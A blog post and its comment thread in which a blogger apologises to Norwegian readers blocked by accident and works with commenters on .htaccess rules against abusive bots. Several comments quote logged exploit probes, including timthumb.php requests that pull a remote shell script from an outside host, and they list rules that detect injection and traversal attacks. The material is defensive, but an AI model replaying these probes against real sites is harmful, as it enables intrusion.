Sorry Bergen Norway!

Yesterday, Bebben from Norway left this note at Jeff’s blog:

Sorry for the OT, but for reasons unknown, it turns out that myself and various other Norwegians independently of each other suddenly don’t get access to Lucia’s Blackboard. We get the message

“Forbidden
You don’t have permission to access /musings/ on this server.

Additionally, a 403 Forbidden error was encountered while trying to use an ErrorDocument to handle the request.”

So what’s up, did you block us Lucia… please don’t, we miss you…

Bebben (and others), Bergen – Norway

A few other innocent people have been blocked. I thought I would explain why. Of course, it has to do with ‘bots. As I’ve mentioned before ‘bots rove around hitting my server. To people who don’t self host, the main problem with ‘bots is a ‘bot might:

  1. Read your email on a web page and send you spam.
  2. Break into my blog, insert malicious links and inject malware into your pc or
  3. Leave spammy comments for “male enhancement products”

But since I pay for hosting, I have another difficulty. While attempting to do the above, some stupidly programmed bots loads tons of pages at once and cause my server load to exceed the level of resources I pay for. As it happens, I pay enough to get Dreamhost to guarantee me 400 MB of memory. If the memory draw rises above that, my blog can go down. Some comments can get lost. Entire posts can get lost. Visitors get grumpy because pages don’t load, and so on.

Notice in the graph below, the memory draw (red line) suddenly shot up around quarter to 7 (server time) today:

Some of you might wonder: What could have happened at quarter to seven? Turn’s out, that’s when a stupidly programmed ‘bot hit the blog:

That image represents a subset of the hits by this ‘bot.

I don’t know what this bot meant to do. But I do know it was loading so many pages it caused Dreamhost to send me this email:

Hi lucia!

Nobody likes to hear that they’ve packed on a few pounds, but we wanted you to hear it from a friend.

Your DreamHost VPS, ps33830, has just exceeded the memory allocation that you’ve established. If left unchecked that behavior could begin to negatively impact the VPS services of every other customer on your server.

As a result we’ve had to reboot your VPS, effectively restarting your virtual machine. You may experience several minutes of downtime while your services come back online.

Based on the usage pattern that we’ve seen today, it’s clear that you’d be best served by either working to reduce your memory footprint or simply increasing the amount of memory available to your VPS.

We’ve put together some documentation that can help you troubleshoot and even reduce your current memory usage:
http://wiki.dreamhost.com/DreamHost_PS_Troubleshooting
http://wiki.dreamhost.com/PS_Optimization

Remember, you can visit https://panel.dreamhost.com/index.cgi?tree=vserver.usage to scale your memory allocation up (or down) whenever you’d like!

Strictly speaking, you don’t HAVE to take any action right now, but if your memory usage continues to routinely exceed the allocation level you’ve specified, you may experience more brief periods of downtime as your services are restarted. You may also get sick of seeing this message in your inbox. Unfortunately there’s not much that we can do about either, so we hope you’ll consider upgrading!

Thank you for choosing DreamHost!

Now, my difficulty is this: The resources are being consumed by a ‘bot. It’s quite evident that if I increased resources to 500 MB, this bot would just load more and more pages making the spike higher. I could increase to 1000 MB, and the bot would just keep loading till it hit 1000 MB and the blog went down. I’m pretty sure there is practically no level of resources I could pay for that would make this bot stop. It only stops when the blog goes down.

I think I have to figure out how to block the ‘bot and it’s ‘bot friends. Today, I blocked ‘f1.bb.sky.com’ by adding “deny from f1.bb.sky.com” to my .htaccess file. I’m also trying to block it by adding “Java” to my rewrites:

RewriteEngine on
RewriteCond %{REQUEST_FILENAME} (.+)timthumb\.php$ [nc,or]
RewriteCond %{HTTP_USER_AGENT} ^Jakarta\ Commons-HttpClient [nc,or]
RewriteCond %{HTTP_USER_AGENT} ^Content\ Crawler [nc,or]
RewriteCond %{HTTP_USER_AGENT} ^Java [nc,or]
RewriteCond %{HTTP_USER_AGENT} ^Mail.RU
RewriteRule .* http://%{REMOTE_ADDR} [r=301,l]

But I’m not competent at .htaccess, and I’m not sure this works. Meanwhile, blocking “f1.bb.sky.com” at least solves todays problem.

So, what does this have to do with Norway?
Unfortunately, “f1.bb.sky.com” is not the first bot taking the blog down. I’ve been seeing huge numbers of ‘bots over the past month. I’ve been trying to block them. Naturally, to avoid getting blocked, the spammers who program the badly behaved bots take out accounts with ISP’s who also provide service to entirely innocent people. Evidently, in the process of blocking something I blocked Bergen, Norway. (I still don’t know which command was blocking them. I solved the problem by removing a whole bunch of blocks last night. Was I worried the blog would overload while I slept? Yes. Did it happen? Yes.)

To get to the point those: I apologize Bergen, Norway.

Meanwhile to others: It’s possible I will accidentally block someone innocent in future. If this happens to you: Sorry. But the alternative is the blog going down 3 times a day. (Seriously.) If you get blocked, you will be sent to this page:

http://rankexploits.com/forbidden.html
Let me know if you can’t figure out my email based on that page. If not, we can work together on how to make my email more obvious to a human while not revealing it to a ‘bot.

Oddly enough, you could be sent to the exact same page if the blog is overloaded. If you are sent to that page and you are not a ‘bot, you should be able to figure out my email by reading that page. That means you will be able to send me an email asking me to unblock you. However, when you email me, please help me by following the instructions to learn your IP and useragent. Then send me an email containing your IP and useragent string. Knowing these might help me figure out how to unblock you without also letting in things like “f1.bb.sky.com” who will take down the blog. Also, if I can’t figure out the specific commands blocking you, I may also email you and ask you to help me unblock you while not letting “f1.bb.sky.com” (or his friends) swamp my blog.

Oh. If anyone is an .htaccess whiz, let me know. There are somethings only ‘bots request, and I’d like to use those requests to better identify the bots. Or if you know any tricks– tell me. I’d really like to get rid of these periodic spikes that take the blog down.

116 thoughts on “Sorry Bergen Norway!”

  1. Well, we’re all back it seems.

    Our national consternation over not being able to follow Lucia’s blog is over; so well done and thanx again 🙂

  2. Hey lucia, I’ve been working with server management recently, and I’ve been dealing with .htaccess files quite a bit. I’d be happy to help as much as I can (I am no whiz, unfortunately).

    Blocking by UAs (user agents) is definitely preferable to blocking by IPs. UAs are basically the “programs” used by bots, meaning they can be used from any location. This also means those bots can be blocked regardless of what location they’re from. This helps block troublesome bots without blocking real users. A normal user isn’t likely to use the same UA as a bot, so blocking by UA should generally keep you from affecting real people. Of course, you may find some bots which you cannot block by UAs (it is possible to spoof the UA), but that’s the exception rather than the norm.

    In any event, the code you copied from your file looks fine, though the convention is to use uppercase for flags (so NC instead of nc). I find it makes things more legible, but whether or not it matters is up to you. Aside from that, I obviously cannot be sure about specific details for your file since I can only see part of it, but from what I can tell, removing the “deny from f1.bb.sky.com” line should not allow the bot access (as blocking Java should block it).

    Aside from that, a few things stood out to me. First, you have a REQUEST_FILENAME line. That may be appropriate for your needs, but that command is rarely used, so unless you know it is what you need, I’d consider deleting it. Second, your last RewriteCond line doesn’t have the “nc, or” tag following it. You cannot have an “or” tag there because there are no more RewriteCond lines, but you may want/need an “nc” tag. Whether or not you include it should not depend upon whether or not you include the “or” tag.

    Now then, the “NC” tag tells your server to treat a line as case-insensitive. This is good if the UA isn’t consistent. However, if the UA always shows up in your logs the exact same way, you don’t need the “NC” tag. Including it doesn’t change the results, but it will increase the work for your server (as it has to consider more possibilities). Most bots use the exact same UA every time, so I’d always recommend leaving off the “NC” tag unless you know you need it.

    In any event, I highly recommend blocking by UAs instead of IPs whenever possible, and I’d be happy to offer whatever help I can in doing so. It isn’t a particularly difficult subject, but there are lots of pitfalls you can fall into. The biggest thing I can recommend is making sure you understand the reason for doing what you’re doing. Understanding the various symbols can be a pain, but knowing things like why you have ‘^’ at the beginning of a line is important (you should seriously consider whether or not 301 redirects are useful for you).

    Unfortunately, while there are some things only bots will request, you’ll still have to manually look at your logs to find them. Fortunately, as your excerpt shows, most bots have readily identifiable characteristics (in this case, beginning with Java).

  3. Marc Morano at Climate Depot headlines today:

    Sci-fi writer Jim Laughter: ‘Polar cities no laughing matter’ — ‘Envisions so-called ” polar cities” for future survivors of devastating climate….with link to interview with Laughter, his real name, by the way….

  4. Thanks Brandon
    Thanks! I’m going to discuss this in comments just incase the discussion eventually helps someone else!

    Aside from that, a few things stood out to me. First, you have a REQUEST_FILENAME line

    I don’t know what command I need, but I know what functionality I need. Let me explain.

    “timthump.php” is a script that was included in lots of Worpdress themes, used at forums and whatnot. Owing to a bug, there was a very bad exploit possibility that was used. (See timthump.php vulnerability.)

    timthump.php is not on my server and never has been. But my server access lots are chockfull of ‘bots trying to guess any location that might hold timthump.php. Here are two examples:
    GET //wp-content/themes/time-for-food/js/timthumb.php?src=http://www.blogger.com.camioneropr.com/sh.php
    GET //wp-content/themes/time-for-food/options/timthumb.php?src=http://www.blogger.com.camioneropr.com/sh.php

    That ‘bot kept trying, over and over. For some reason, in this case, the server sent them a ‘503’ (service unavailable– temporarily). They kept coming back! Anyway, I’d rather either a) send them back to their own IP or give them a 403 forbidden, or send them to a honeypot and report them to something like Project Honey Pot. (If I could get lots of people to do the latter, the information could be sent to their ISP who might yank service. Of, at least if honeypot assigned them a high threat level, people would know that that IP is worth blocking!)

    These sorts of vulnerabilities re-occur as someone creates a new nifty thing similar to ‘timthumb.php’. So, if I figure out how to deal with ‘timthumb.php’ requests, I’ll eventually be ready to thwart future “son_of_timthumb.php” requests. If you know some way to do this efficiently, I’d love to do it.

    In any event, I highly recommend blocking by UAs instead of IPs whenever possible, and I’d be happy to offer whatever help I can in doing so.

    The difficulty is that many ‘bots just send “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)” That’s what the bot looking for timthumb.php did. So, on a day when IP XXX.YYY.XXX.ZZZ is running rampant, sometimes I just need to block it at least for a week!

    But there are a whole bunch of other exploits they hunt around for. I could catch a lot f them just by correctly writing the block that catches them, while not catching humans. If you could tell me whether I’m doing these right– or explain a better way to do it, that would be great:

    Bearing in mind some are *really* stupid and don’t know if this is a blog, forum, web site, etc. here are things they try to do:

    1) They try to register as WP users. (Hunting for addresses the way the timthumb.php-hunting- bot does.)
    You saw I’m currently trying to send those back to their home IP’s. (I added that yesterday and I think it’s working.)

    2) Dictionary attackers try to register with at a WordPress blog. I don’t let anyone register– but they still try hundreds of times over and over before they stop. I’m sending the ones that try to register to a honey pot. (I think it’s working.)
    RewriteCond %{REQUEST_URI} ^(.*)/wp-login.php [NC]
    RewriteCond %{QUERY_STRING} action=register [NC]
    RewriteRule (.*) /myhoneypot.php [L,R]

    3) They try to signup, load comment-pages (which don’t exist at my blog), submit articles. Of course, they load over and over and over and over in a way no human ever would. I added this:

    RewriteCond %{REQUEST_URI} ^(submit-articles|wp-signup.php|comment-page) [NC]
    RewriteRule (.*) /myhoneypot.php [L,R]

    I think that’s screwed up though. I think a) I may need to escape the the ‘.’ as ‘\.’. But also, I’m not at all confident that this will recognize absolutely everything that might have ‘comment-page’ *anywhere* in the URL. (The bot’s try subdirectories ‘comment-page-1’, ‘comment-page-2’, and so on to any actual page they find. These bots really suck up CPU and memory because WP will created individual caches for all the the following *even though they are identical when displayed* : (a) ‘post_a’, (b) ‘post_a/comment-page-1′, c(post_a/comment-page-2’) So a bot creating those sucks resources.

    If you can explain the right syntax, for the above, that would be great!

    4) Try to post to my ‘forum’ which I don’t even have. I send these to the honeypost
    RewriteCond %{REQUEST_URI} ^(.*)/index.php [NC]
    RewriteCond %{QUERY_STRING} action=(login|register|post|post;board=21.0) [NC]
    RewriteRule (.*) /myhoneypot.php [L,R]

    (Don’t ask why they try to post to ‘board=21’. I’d like to block any bot that just tries to post, but I don’t know if just ‘post’ will catch that.)

    5) Of course I get some referrer spam:

    # set the spam_ref variable
    SetEnvIfNoCase Referer "^http://.*(poker|texas.?hold-?em|buy|cash|seduction|viagra|cialis|betting|camionero)" spam_ref=1
    SetEnvIfNoCase Referer "^seduction" spam_ref=1

    6) I also proactively block a number of query requests– even though I’ve never seen these attempts (well, other than bots trying to look at ‘.htaccess’ itself.:
    # QUERY STRING EXPLOITS
    RewriteCond %{QUERY_STRING} \.\.\/ [NC,OR]
    RewriteCond %{QUERY_STRING} boot\.ini [NC,OR]
    RewriteCond %{QUERY_STRING} tag\= [NC,OR]
    RewriteCond %{QUERY_STRING} ftp\: [NC,OR]
    RewriteCond %{QUERY_STRING} http\: [NC,OR]
    RewriteCond %{QUERY_STRING} https\: [NC,OR]
    RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
    RewriteCond %{QUERY_STRING} (\<|%3C).*iframe.*(\>|%3E) [NC,OR]
    RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|%3D) [NC,OR]
    RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [NC,OR]
    RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
    RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) [OR]
    RewriteCond %{QUERY_STRING} ^(.*)cPath=http://(.*)$ [NC,OR]
    RewriteCond %{QUERY_STRING} ^(.*)/self/(.*)$ [NC,OR]
    RewriteCond %{QUERY_STRING} ^.*(\[|\]|\(|\)|<|>).* [NC,OR]
    RewriteCond %{QUERY_STRING} ^.*(globals|encode|localhost|loopback).* [NC,OR]
    RewriteCond %{QUERY_STRING} ^.*(execute|exec|sp_executesql|request|select|insert|union|declare|drop|delete|create|alter|update|order|char|set|cast|convert|meta|script|truncate).* [NC]
    RewriteRule ^(.*)$ - [F,L]

    # Deny Access to wp-config.php, bb-config.php, /wp-admin/install.php, all .htaccess files
    # php.ini, php5.ini and the WordPress readme.html installation file.
    # To allow ONLY yourself access to these files add your current IP address below to the
    # Allow from line of code and remove the # sign in front of Allow from to uncomment it

    Deny from all
    # Allow from 88.77.66.55

    One of the things I never quite know: Some examples escape the periods, some don’t. Some include quotes “” some don’t. I’m definitely not up to speed on regex. I never quite now how the ^,*,(), ? are going to interact with each other. I might be able to figure this out, but pages I find either just have cut and paste examples, with no explanations, or discussions of individual rules with no examples etc. Oh– and lots of both examples and explanations seem to assume the .htacess is IN the directory I’m ‘protecting’. But this doesn’t work for things like protecting against ‘timthumb.php’ because all those guessed directories don’t even exist.

    (Also, some examples at blogs and forums seem to be… well… wrong. So, that doesn’t help.)

    Anyway, any tips appreciated! The fewer IP’s I have to block the better!

  5. Brandon–
    Looking at the logs today, I see this exploit attempt:

    /musings/2011/sorry-bergen-norway/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

    So, it just took the post url,then slapped on /admin/blah… etc. Goggling reveals this is an attempt to break into my shopping cart. (See how stoopid these are?)
    (Details at http://forum.opencart.com/viewtopic.php?f=161&t=28032 )

    User agent:
    Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

    Now I have to see if that’s a remotely legitimate spider. ‘Cuz there was no referrer and there is no way a spider followed that link! The IP is 173.247.245.217 which is in California. So, I think the UA is spoofed. So, I’d rather block the hack than the Sougu spider.

  6. Brandon–
    This is an interesting one. IP 94.45.164.22 which resolves to dialin.customers.u-l.ru has just spoofed user agents very quickly. It spoofed 12 useragents in less than 30 seconds. (Or maybe it’s a human opening 12 browsers?)

    Here’s what Honeypot says it’s a comment spammer.
    http://www.projecthoneypot.org/ip_94.45.164.22
    (I said 6 in my comments over there– but it’s 12.)

  7. Yikes, a lot to respond to. Before that though, I think it’d be best if I gave a description of what some of the symbols you’re using do. You can get by without understanding them well, but it makes things harder. For example, you mention some examples escape periods, but others don’t. This is important. In regular expressions, a period will match any character. If a period is escaped, it will be treated as a literal period, meaning all it will match is a period. This distinction is extremely important, and remembering it will help you understand what you’re doing better.

    Anyway, the first symbol to consider is the * symbol. When you place this after a character, it will match that character, as many times as it is repeated (but they must be consecutive, of course). This means a* will match a, aa, aaa… An important thing about this symbol is it will also match zero instances of that character. If you want to do the same thing, but require at least one instance of the character, you use the + symbol.

    Now then, I’ve been referring to “characters,” but these symbols can be used to match strings as well. To do so, you just put the string in parentheses. Parentheses can also be used for a thing called “backreferencing.” Anything you match using parentheses can be referenced by using the $ symbol followed by the number corresponding to which set of parentheses you’re referring to. In other words, if you have one set of parentheses, whatever gets matched will be stored in the ‘variable’ $1. If you have two, the second will be stored in $2.

    Next we have the ^ symbol. This symbols tells your server to only match strings which start with what you’re comparing them to. Leaving it off means you’ll match the string anywhere in the line. Removing it generally won’t change your results, but it will take longer to process. As an aside, this is what is known as an “anchor” (I imagine you can guess why).

    The next symbol, the $ symbol (yes, it has two uses) is similar. It does the same thing as the ^ symbol, but for the end of the string instead of the beginning. As with the ^ symbol, it is an anchor. If possible, you want to use anchors in your comparisons as they speed up processing (by reducing the number of cases considered). However, anchors don’t speed up anything if they’re attached to symbols like + or * as they become redundant.

    The last symbol (you mentioned) is the ? symbol. This is a simple one. It makes matching whatever follows it optional. There are a few other symbols, but understanding these ones will probably be enough. As long as you can use these ones together, you should be fine for using regular expressions.

    If anything I said wasn’t clear, or you need examples, feel free to ask. In the meantime, I need to go get ready for dinner, so I’ll have to wait to talk about the rest of what you brought up.

  8. I am a Windows man myself, but have been managing web sites since 1996 or so.

    Can I suggest that this discussion is providing far more information about your site than I’d ever allow be published about any site I host, and that it might be much better taken into email?

  9. It’s funny how “dinner” sometimes turns into a six hour thing. Anyway, onto the actual .htaccess lines. The explanation of the timthumb.php line helped, and from what you’ve said, you’re definitely using the right approach for handling it. That said, you shouldn’t need to include (.+) in it. That forces the comparison to search for at least one character (and as many as it can find) before “timthumb.php,” something there’s no need to do. In the same way, you should be able to remove \.php unless you think you’ll ever have a file named “timthumb” with a different extension. You may even be able to remove the NC flag if bots always request the file with the same capitalization scheme. It’s worth noting your current rule (or what you get if you modify it as I suggested) will actually block “son_of_timthumb.php” requests because that string includes “timthumb.php” (or just timthumb with my version).

    But there are a whole bunch of other exploits they hunt around for. I could catch a lot f them just by correctly writing the block that catches them, while not catching humans. If you could tell me whether I’m doing these right– or explain a better way to do it, that would be great:

    From what I’ve seen, it seems like you are doing things mostly right. There are probably ways you could improve things, but you’re not doing anything wrong. For example, the lines you quoted in your 2) should work, but in the first line, you have an anchor followed by (.*), which is pointless. You’re effectively telling it to start at the beginning of the line and match any characters it finds up to /wp-login.php. It works, but there is no reason to tell it to start at the beginning of the line. When matching any characters it finds, it’ll have to start at the beginning of the line anyway.

    For your 3), you ought to escape the period, but it isn’t technically necessary. As it stands, it will just match things like “wp-signup3php” in addition to what you want. It works, but it’s pointless, and just adds (a very small amount of) overhead. However, you are right to think that will not recognize those strings anywhere in the URL (technically URI, but that doesn’t matter). The ^ at the start of the line means it will only check the very beginning of the URL. If you remove that, it will look for those strings anywhere rather than just at the start.

    For your 4), it is redundant to match “post” and “post;board=21.0” as the former will match all instances of the latter. Your 5) seems fine, as does your 6) except for the redundant anchoring in some of its lines.

    The Sogou web spider is a kind of strange one. It’s supposed to be a web crawler for a Chinese search engine, and the company says it respects robot.txt. In my experience, it’s never respected the robot.txt file (possibly due to not supporting http compression), and I’ve seen a number of people claim it’s tried to break their shopping carts like it did yours. I don’t think the company is behind the “hack” attempts, as someone else could be using that UA. Regardless, I cannot think of any reason not to block the UA.

    As for the Russian one, there is no way that came from normal activity. Nobody is going to innocently try to access your site with 12 different UAs, much less in one day.

    I think that should cover most of your concerns, but if I missed anything, let me know. Also feel free to ask about anything else which may come up.

  10. A few more comments. I noticed some of the lines in your 6) have more superfluous things than I had thought. For example, the line:

    RewriteCond %{QUERY_STRING} ^.*(\[|\]|\(|\)|).* [NC,OR]

    Could be written:

    RewriteCond %{QUERY_STRING} (\[|\]|\(|\)|) [OR]

    Both versions look for any instances of these symbols “[ ] ( ) ” within the string. The first one simply has a lot of fluff in it. For example, it begins with ^.* which says, “Start at the beginning and match any number of characters before one of those symbols.” Of course, that’s exactly what would be done anyway. In the same way, the .* at the end tells it to match any number of characters after finding one of those symbols, but if finds one of those symbols in the string, it doesn’t matter what comes after it, so this is pointless. Finally, there’s no reason to tell it to be case-insensitive when dealing with symbols whichc have no cases. Your RewriteRule line could be rewritten as:

    RewriteRule .* – [F]

    Using both the F and L flags is redundant as F (forbidden) always implies L. There is also no need for anchoring or the parenthesis (since you’re not using $1 anywhere in that line). These sort of changes don’t change the functionality of the lines, but they do speed things up a bit.

    Another thing I want to comment on is you redirect bots to your honeypot with the R flag. The R flag forces an external redirect, which is what you want. However, if you ever redirect requests to a different site, that R becomes redundant. I mostly comment on this because you did it in a line in your blog post.

    Finally, I forgot to answer one of your concerns. You mentioned the lack of .htaccess in directories you want to protect (or which do not exist). That’s perfectly fine. You don’t actually need an .htaccess file in any specific directory. Whenever someone attempts to access anything on your site, your server will automatically use whichever .htaccess file is “nearest” to the directory they want. If you only have one .htaccess file on your server, it will cover all directories.

  11. mct, you say:

    I am a Windows man myself, but have been managing web sites since 1996 or so.

    Saying you’re a “Windows man” doesn’t mean much for this exchange. I have an Apache server running on a Windows 7 box right now.

    Can I suggest that this discussion is providing far more information about your site than I’d ever allow be published about any site I host, and that it might be much better taken into email?

    While I understand this concern, I disagree with it. The sort of information lucia has been sharing isn’t sensitive.

  12. mct

    Can I suggest that this discussion is providing far more information about your site than I’d ever allow be published about any site I host, and that it might be much better taken into email?

    The difficulty is that if I don’t post, I don’t have access to people who can answer questions. So, email will not fill the bill. I understand that there are people are very private about who they are blocking– but which information do you think is dangerous to share? I can edit stuff so it doesn’t appear.

  13. Kermit–
    Thanks. I’ve seen that site, and sometimes it helps. Unfortunately, other times, not so much.

    One difficulty is that there are lots of examples for people who want to do things like subversion, move entire sites to new domain names etc. But really not so many for spam protection or to bounce spiders. To bounce spiders, I need a lot more flexibility because one of the features of the spiders is they try to guess urls and they guess ones that don’t exist. In contrast, that pages often describes how to do things like redirect urls that do exist.

  14. Brandon,
    I figured out that these things work in a straightforward way:
    RewriteEngine on
    #
    RedirectMatch 301 ^/aspnet_forum$ http://mydomain.com/myhoneypot.php.php
    RedirectMatch 301 (.*)/filemanager/connectors/test\.html http://mydomain.com/myhoneypot.php.php
    RedirectMatch 301 (.*)/timthumb\.php http://mydomain.com/myhoneypot.php.php
    RedirectMatch 301 (.*)/cgi-bin http://mydomain.com/myhoneypot.php.php

    mct (I know you are worried I’m giving out too much information and I respect your concern. FWIW: my honeypot isn’t named ‘myhoneypot.php’. I’ve changed the example domain to //mydomain.com to make it obvious these are examples and not literally what’s in my .htaccess file.)

  15. Bandon:
    Thanks!

    I really need literal final examples so I’m going to write down what I think you are telling me:

    1. Are you saying if I write this:

    RewriteCond %{REQUEST_FILENAME} timthumb.php$ [nc,or]

    I will catch everything with “timthumb” in it and use fewer resources while not block timthumb.html?
    (Currently, I don’t mind if I catch “son_of_timthumb.php” With respect to ‘bots, there are zillions, written by multiple people and constantly reprogrammed to get around blocks. So, unlike redirecting or re-organizing a website this is a situation where you *can’t* every count on them not just changing timthumb to Timthumb and then trying timThumb etc. These sort of ‘exploring’ can actually be seen in server logs. I haven’t seen it wiht *timthumb* yet, but I’ve see it with other exploits.)

    2. Are you saying that if I

    RewriteCond %{REQUEST_URI} ^(.*)/wp-login.php [NC]
    RewriteCond %{QUERY_STRING} action=register [NC]
    RewriteRule (.*) /myhoneypot.php [L,R]

    Could just as well be this:

    RewriteCond %{REQUEST_URI} ^/wp-login.php [NC]
    RewriteCond %{QUERY_STRING} action=register [NC]
    RewriteRule (.*) /myhoneypot.php [L,R]

    3. Are you saying I should escape the period in wp-signup.php and remove the ^
    RewriteCond %{REQUEST_URI} (submit-articles|wp-signup\.php|comment-page) [NC]
    RewriteRule (.*) /myhoneypot.php [L,R]

    4.

    For your 4), it is redundant to match “post” and “post;board=21.0″ as the former will match all instances of the latter.

    I thought it might be. 🙂

    6)

    except for the redundant anchoring in some of its lines.

    I didn’t write that. I copied it from someone else. 🙂 You’ll notice that lots of those things end up covering what timthump usuall asks for– timthump.php is designed to load images at other sites, so the known exploits send a query string and ask for:
    “RewriteCond %{QUERY_STRING} http\: [NC,OR]”.

    Or course, if I ever suddenly needed a resource that loaded stuff from other sites, I’d have to write an exception for that. But at least for now I don’t think I need an exception.

    FWIW: I’d love to redirect everything trying naughty querystrings to a honeypot so I can “catch” then and see what else they are trying to do. But need to learn to strip queries first, otherwise I get an infinite redirection loop! (One feature is that the ‘bots sometimes switch what they try to do to get around blocks.)

  16. Brandon

    Finally, I forgot to answer one of your concerns. You mentioned the lack of .htaccess in directories you want to protect (or which do not exist). That’s perfectly fine. You don’t actually need an .htaccess file in any specific directory. Whenever someone attempts to access anything on your site, your server will automatically use whichever .htaccess file is “nearest” to the directory they want. If you only have one .htaccess file on your server, it will cover all directories.

    What I meant is that many examples on the web assume you can put the example commands in the existing directory you want to protect. So, to protect something in /category/joe/timthump.php
    they explain how to write something, and then just drop that .htaccess file in /category/tag/.

    But I can’t do that because /category/joe/ doesn’t exist. If the page doesn’t go into agonizing detail about what each thing means, I can’t know if it’s going to work. (Often it doesn’t because the person writing the example is assuming that
    a) the stuff you want to redirect actually exists and
    b) by putting writing .htaccess for each directory, you can take advantage of the fact that you really do want the uri and file name to start with “timthumb.php” and avoid both “son_of_timthumb.php” and also “/subdirectory/timthumb.php”

    The latter is exactly the opposite of what I want. I want to the rule to cover “timthumb.php” and “/sub1/timthumb.php” and “/sub1/sub2/timthumb.php” and so on. So, your answers are helping.

  17. Brandon:

    As for the Russian one, there is no way that came from normal activity. Nobody is going to innocently try to access your site with 12 different UAs, much less in one day.

    Nope. I’ve spoofed user agents to make sure I wasn’t blocking google with something or maybe to check to see if I could block IP/google-bot mis-matches. This is dicey since google changes their IP from time to time. So I ended up not doing it.

    (I also don’t remember how I did it. I suspect some SEO firefox add on I learned about googling!)

    But I’ve never spoofed 12 and certainly not in less than 1 minute. I can’t even load pages and see if I’m blocked that fast!

    Russia, the former soviet republics and china have lots of rampant, crafty smart, dedicated spammers, scrapers, hackers etc. and make up such a small part of my reader demographic that it’s tempting to just ban IP ranges for countries.

    But of course, then they’d all just move to Norwegian IPs! 🙂

  18. Lucia,

    I am amazed you are willing to put up with this level of inconvenience. Myself, I would never put up with this level of service from a hosting company that is completely unable [or apparently unwilling] to diagnose the REAL problem with your memory usage exceeding limits, blames you for the negative impacts, and who’s only proposed remedy is to buy more of their poor service, which you have indicated [and they then should know as well] will not solve the problem.

    It seems to me that for the amount of your very valuable time you are spending dealing with bad bot based behavior, you are getting incredibly poor value for the money you spend on Dreamhost and at the same time you are BURNING the capital of good will from your blog readers which you cultivate with such care over time.

    I know you are a very [very] smart lady, and LOVE a good puzzle, but it doesn’t sound like this situation over all is making you any happier even if you do find the puzzle portion pleasing.

    So my advice, as a pitifully poor programer, to you would be that if you really like dealing with the bad bot brigade leave off blogging and go into the web hosting business, I’m sure you would do better at it than Dreamhost is doing for you – or – find a hosting situation for your blog that will take care of this problem for you. I think you will be much happier which is a good thing for everyone in your life.

    Best regards,

    W^3

  19. Brandon:

    Here’s an attack pattern that’s returning “200”s. It doesn’t seem to actually succeed in whatever nefarious thing it wants to achieve. But I’m curious what it’s even trying to do:

    212.88.157.202 - - [05/Nov/2011:01:24:57 -0700] "GET 2011/post-title/+%5BPLM=0%5D%5BN%5D+GET+http://mydomain.com/2011/post-title/+%5B0,246259,256942%5D+-%3E+%5BN%5D+POST+http://mydomain.com/wp-comments-post.php+%5BR=400%5D%5B0,0,1160%5D HTTP/1.1" 200 819 "http://mydomain.com/2011/post-title/+%5BPLM=0%5D%5BN%5D+GET+http://mydomain.com/2011/post-title/+%5B0,246259,256942%5D+-%3E+%5BN%5D+POST+http://mydomain.com/wp-comments-post.php+%5BR=400%5D%5B0,0,1160%5D" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TheFreeDictionary.com; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)"

    (Note: Since the example could circulate, I changed the url to “mydomain” and the post title to “post-title”.)

    I think I might be able to block “TheFreeDictionary” user agent. (I need to look that up.) But I’m seeing these weird characters. This guy later switches to aiming for “timthumb.php”. So even if the weird characters weren’t a give away, the request for “timthumb.php” is. If you have any guess what he’s trying to do, or how to block that would be great. (The RewriteCond %{QUERY_STRING} http\: [NC,OR] is not blocking. I’m going to try to guess a few things that might work and report back. I’ve already tried a few guesses. No joy yet.)

  20. w.w. wygart

    Do you have suggestions of companies that provide unlimited memory usage for free? Or that manage to block all the ‘bots? If you do I will try to contact them. In the past when people have suggested things, the companies they suggest do not guarantee unlimited memory for low prices. Hosting services can also only do a limited amount of blocking of ‘bots. (Dreamhost does block some.)

  21. Thanks!

    You’re welcome!

    1. Are you saying if I write this:

    RewriteCond %{REQUEST_FILENAME} timthumb.php$ [nc,or]

    I will catch everything with “timthumb” in it and use fewer resources while not block timthumb.html?

    That example will catch anything with “timthumb” in it, as long as it is followed by another character, then “php” (the string must be at the end of the line as well, of course). You’d probably want to escape the period so it will only match a period there, rather than any character, but otherwise, it should do what you want.

    Could just as well be this:

    RewriteCond %{REQUEST_URI} ^/wp-login.php [NC]
    RewriteCond %{QUERY_STRING} action=register [NC]
    RewriteRule (.*) /myhoneypot.php [L,R]

    No. If you remove the (.*), you need to remove the anchor (^) as well. That anchor tells it to match at the beginning of the string, so without (.*) after it, it will only find strings which start with “/wp-login.php.” As an aside, there is a logical issue with these lines you need to make sure you’re aware of. As it stands, you’re requiring both conditions be met in order for the request to be blocked. If you want to require only one be met, you need to add an OR tag (on the first line). Both ways work, but they do different things.

    3. Are you saying I should escape the period in wp-signup.php and remove the ^

    Yup.

    The “r” you are discussing is here, right:

    Yup.

    The latter is exactly the opposite of what I want. I want to the rule to cover “timthumb.php” and “/sub1/timthumb.php” and “/sub1/sub2/timthumb.php” and so on. So, your answers are helping.

    I’m glad to hear they’re helping. Personally, I recommend not bothering with multiple .htaccess files unless you really know what you’re doing. It’s much simpler and easier to just have one file which covers all your directories. Once you get used to writing rules which can cover any directory (whether or not it exists) people may request, there’s really no downside. And that’s just a matter of using regular expressions.

    Nope. I’ve spoofed user agents to make sure I wasn’t blocking google with something or maybe to check to see if I could block IP/google-bot mis-matches. This is dicey since google changes their IP from time to time. So I ended up not doing it.

    (I also don’t remember how I did it. I suspect some SEO firefox add on I learned about googling!)

    Spoofing UAs has it’s purpose, and I do it from time to time. There are a number of add-ons you can find with a quick Google search that allow you to do it. I used to modify headers (which obviously include more than just UA information) manually at times, but lately I use an add-on called Modify Headers. It’s a lot simpler.

  22. That example will catch anything with “timthumb” in it, as long as it is followed by another character, then “php” (the string must be at the end of the line as well, of course). You’d probably want to escape the period so it will only match a period there, rather than any character, but otherwise, it should do what you want.

